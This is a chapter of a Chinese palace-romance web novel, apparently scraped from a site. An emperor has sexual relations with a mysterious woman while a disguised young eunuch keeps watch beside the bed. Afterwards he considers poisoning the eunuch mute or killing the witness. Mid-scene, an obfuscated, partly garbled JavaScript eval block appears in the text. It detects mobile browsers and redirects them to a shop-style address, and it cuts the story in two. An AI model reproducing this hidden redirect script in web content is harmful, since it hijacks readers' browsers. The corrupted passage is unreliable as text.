#二十二
一盏又一盏的长灯,将整个寝殿照得恍如白日,云端站在床边,看了一眼床上那正拿着本书翻看着的燕时殊,“陛下,小端子去给您端碗安神汤吧。”
燕时殊连眼睛都没抬,“不必,朕还不打算睡。”
“那小端子去给您端碗醒神汤。”
燕时殊抬眸看了她一眼,“很急着走吗?”
云端:“……陛下,小端子尿急。”
燕时殊又把眼睛垂了下去,“憋着。”
“……憋久了对身体不好陛下。”
云端眼巴巴地看着燕时殊:“虽然小端子并不在乎自己的身体,但如果小端子早早就**,日后就没办法再继续伺候陛下了,陛下——”
燕时殊慢悠悠地翻过一页书,不为所动,“憋上一会儿,也死不了的。”
云端好奇:“您很有经验吗陛下?”
燕时殊顿时横眸冷了她一眼。
云端还是那句话:“憋久了对身体不好,陛下……”
“啪”的一声,燕时殊将手里的书砸到了云端的身上,他刚想着发怒,但一眼过去就看见了云端的那一脸关心关切。像是刚刚的话真的是在关心他一样。
甚至那皮白肉嫩的小太监还有几分委屈,“陛下,小端子又做错什么了吗?”
真要数她做错的那些事,都够把她拖下去砍十几回脑袋了,她现在都还委屈上了。
燕时殊看了她许久,终究还是没有再说刚刚的事情:“朕要休息了,到床边坐着,不要再说话。”
云端点了点头,又好奇地问:“不用灭灯吗陛下。”
“不必。”
“哦,陛下好梦。”说罢,云端就解下了床边的床帐。
燕时殊看着她的动作,观察着她脸上的表情,在她准备将床上放下去的时候开口叫住了她:“只放纱帐便可。”
“喔。”云端依言。
在将那层朦朦胧的纱杖放下去后,云端又问了燕时殊一句:“陛下,小端子现在能去……”
“不能。燕时殊冷漠地打断了她的话。
……好叭。云端不想跟他计较,在床边寻了个位置便坐了下来。
纱帐内,燕时殊看着她的背影眸色微凉。
时间一点一滴过去,坐在床边的那个小太监逐渐开始打起瞌睡,而燕时殊也始终没有等到那女人的到来。
就在燕时殊也生出了几分困意眼眸渐沉的时候,紫宸殿中却忽而刮起了一阵大风。
一盏盏长灯蓦地被吹灭,燕时殊下意识看向坐在床边的那道身影,但下一刻,一团黑影覆上,他还没有看清对方的眼睛,便被压倒在了床上。
像是赶着什么要紧事似的,那道熟悉的身影在压住他后便吻上了他,撩开了他的衣摆。
过了会,对方的唇离开,耳边是熟悉的声音:“没准备啊?小燕子。
昏暗之中,燕时殊看了一眼那还坐在床角打瞌睡的身影,又看了一眼身上的女人,眉头忍不住皱了起来。
不过他在想些什么,对方显然并不在意,从他的枕下暗格里找出了那软膏之后,便打算和往日一般继续了。
燕时殊拦住了她,“……改日吧。
那双乌黑的眸子定定地看了他一眼,回头往床边那道身影看了一眼,随即笑了起来,“我还以为你今天就打算玩这个呢,不过反正都要追求刺激了,那就贯彻到底嘛,一个小太监而已,你也不会在乎吧?
一个小太监,自然是没什么好在乎的,但燕时殊并不想让任何人看见自己承欢于他人的模样。
但从来都是请神容易送神难,人是他自己叫来的,现在想要请走却没那么容易了。
女人轻悠暧昧的声音,在他耳边低低地念:“陛下,别唤太大声了,不然……
话音刚落,燕时殊就无法克制地哼了一声。
几盏长灯幽幽,光线昏暗,虽然燕时殊已尽力收着,但口中一个又一个的碎音还是不断溢了出来。
燕时殊失神之间,恍惚看见那道坐在床边身影动了一下,而后便僵住了。
偏偏此时身上还传来
女人轻悠悠地,带着几分恶意逗弄地询问:“陛下,喜欢吗?”
燕时殊偏过了头,声音嘶哑:“闭嘴。”
云端啧啧两声,“喜欢就直说啊小燕子,像我,就很喜欢小燕子你——这副备受**的样子嘛。”
燕时殊忍不住抬手,但手还没出去,手腕就又被半红的触手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17003940|193981||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
缠上,捆回了床头。
这一夜,注定热烈而又冰冷。
天色蒙蒙亮之际,那女人毫不犹豫地离开,一身狼藉的燕时殊躺在床上,却没有跟平时一样去擦身或是沐浴。
他安静地躺了一会儿,还是偏头看向了坐在床边脚踏上那道一言不发的身影。
原本还是正常坐着的小太监,此时此刻已经将脑袋埋进了手臂里,像是在刻意逃避什么。
燕时殊喊了她一声:“过来。”
坐在那里的小太监没有任何动静。
燕时殊只能又喊了一声:“过来。小端子。”
这回,过了好半晌,那道身影才慢慢有了动静。
小太监低垂着脑袋,隔着那朦胧的床上,慢慢地挪到燕时殊面前,声音涩哑:“陛下……”
“你都看见了。”燕时殊淡淡地问她。
小太监的呼吸乱了一瞬,却没有直接回答他,而是又把头埋低了些,“……陛下。”
就在燕时殊思考着是该将这个小太监的嗓子毒哑流放宫外,还是直接杀了灭口的时候,他忽然听到了一点很奇怪的声音。
啪嗒。
像是水珠滴落在冰凉地面的声音。
先是一滴,而后越来越多,一声又一声不断不断。
燕时殊看着帐外那死死低着脑袋的小太监,良久,伸手,缓缓撩开了那朦胧的纱帘。
一颗又一颗透明的泪珠,顺着小太监的眼睫滴落。
看得出来她已经在极力忍耐了,但那些泪水还是源源不断地涌出。
燕时殊沉默着看了她一会,才问:“为何要哭?”
小太监不说话,只是默默流泪。
燕时殊只平静地看着她:“朕不喜欢问第二遍。”
帐外的小太监忍不住低头抹起了眼泪,“小端子,心里难受……不想陛下被人欺负……”
欺负?
燕时殊想她恐怕是误会了什么,语调淡淡地说了一句:“朕与她,不过你情我愿。”
可那小太监的眼泪却瞬间流得更凶了。
那双沾湿着泪水的眼睛抬起,看了他一眼,像是委屈又像是更复杂他所看不懂的一眼。
而后回他道:“正因此,小端子才这般难受的……”